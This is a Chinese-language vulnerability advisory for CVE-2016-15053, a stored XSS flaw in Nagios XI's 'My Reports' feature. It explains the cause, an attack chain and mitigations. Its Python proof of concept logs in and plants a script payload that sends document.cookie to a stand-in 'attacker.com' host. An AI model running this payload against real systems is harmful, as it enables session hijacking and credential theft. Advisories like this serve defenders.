IPBUF安全漏洞报告
English
CVE-2016-15053 CVSS 5.4 中危

CVE-2016-15053 Nagios XI My Reports存储型XSS漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2016-15053
漏洞类型
XSS(跨站脚本攻击)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Nagios XI

相关标签

XSS存储型XSSNagios XI跨站脚本Web应用安全CVE-2016-15053网络监控软件My Reports

漏洞概述

CVE-2016-15053是Nagios XI网络监控软件中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于Nagios XI的"My Reports"功能模块中,由于应用程序对用户输入的报告名称缺乏充分的输入验证和输出转义,攻击者可以在报告列表中注入恶意JavaScript代码。当其他用户查看这些报告列表时,注入的恶意脚本将在其浏览器上下文中执行,从而窃取会话Cookie、劫持用户账户或执行其他恶意操作。攻击者需要具有低权限用户账户即可利用此漏洞,但需要诱导其他用户(如管理员)访问或查看受污染的报告列表。该漏洞影响Nagios XI 5.2.4之前的所有版本,CVSS评分5.4,属于中危漏洞。

技术细节

Nagios XI的"My Reports"功能允许用户创建和管理自定义报告。漏洞根源在于:1)输入验证不足:应用程序未对用户提供的报告名称进行严格的输入过滤,允许包含HTML标签和JavaScript代码的特殊字符通过验证;2)输出编码缺失:存储的报告名称在后续显示时未经过适当的HTML实体编码或转义处理,直接回显到Web页面中。攻击者利用此漏洞的过程如下:首先使用低权限账户登录Nagios XI系统,然后创建一个名称中包含恶意JavaScript代码的报告(如"<script>alert(document.cookie)</script>")。当管理员或其他用户访问"My Reports"页面查看报告列表时,浏览器会解析并执行注入的脚本代码。由于攻击发生在已认证用户的会话上下文中,恶意脚本可以访问该用户的认证凭证和敏感信息,实现会话劫持或进一步的攻击行为。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标Nagios XI版本,确认版本小于5.2.4且存在My Reports功能
STEP 2
步骤2
初始访问:攻击者使用低权限账户或通过社会工程获取的有效凭证登录Nagios XI系统
STEP 3
步骤3
漏洞利用:攻击者在创建报告时,在报告名称字段中注入恶意JavaScript代码,如<script>alert(document.cookie)</script>
STEP 4
步骤4
载荷存储:恶意脚本随报告数据被存储在数据库中,当其他用户访问My Reports页面时会被检索并显示
STEP 5
步骤5
触发执行:目标用户(通常为管理员)访问My Reports列表,浏览器解析并执行注入的恶意脚本
STEP 6
步骤6
数据窃取:恶意脚本在目标用户浏览器中执行,窃取会话Cookie、凭据或其他敏感信息并发送到攻击者控制的服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # CVE-2016-15053 PoC - Nagios XI Stored XSS in My Reports # Target: Nagios XI < 5.2.4 TARGET_URL = "http://target-nagios-xi.local" USERNAME = "lowpriv_user" PASSWORD = "password123" session = requests.Session() # Step 1: Login to Nagios XI login_url = f"{TARGET_URL}/nagiosxi/login.php" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data) print(f"[+] Login attempt: {response.status_code}") # Step 2: Create a report with XSS payload create_report_url = f"{TARGET_URL}/nagiosxi/reports/myreports.php" xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' report_data = { "action": "create", "report_name": xss_payload, "report_type": "availability" } response = session.post(create_report_url, data=report_data) print(f"[+] Report created with XSS payload: {response.status_code}") # Step 3: Verify XSS is stored verify_url = f"{TARGET_URL}/nagiosxi/reports/myreports.php" response = session.get(verify_url) if xss_payload in response.text: print("[+] XSS payload successfully stored in My Reports") else: print("[-] XSS payload not found in response") print("[+] PoC complete. When admin views My Reports, XSS will execute.")

影响范围

Nagios XI < 5.2.4

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制低权限用户创建和编辑报告的功能;2)在Web应用层部署WAF规则过滤包含script标签和JavaScript事件处理器的输入;3)启用HttpOnly和Secure标志保护会话Cookie;4)提醒用户在查看报告列表时保持警惕;5)考虑临时禁用My Reports功能直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表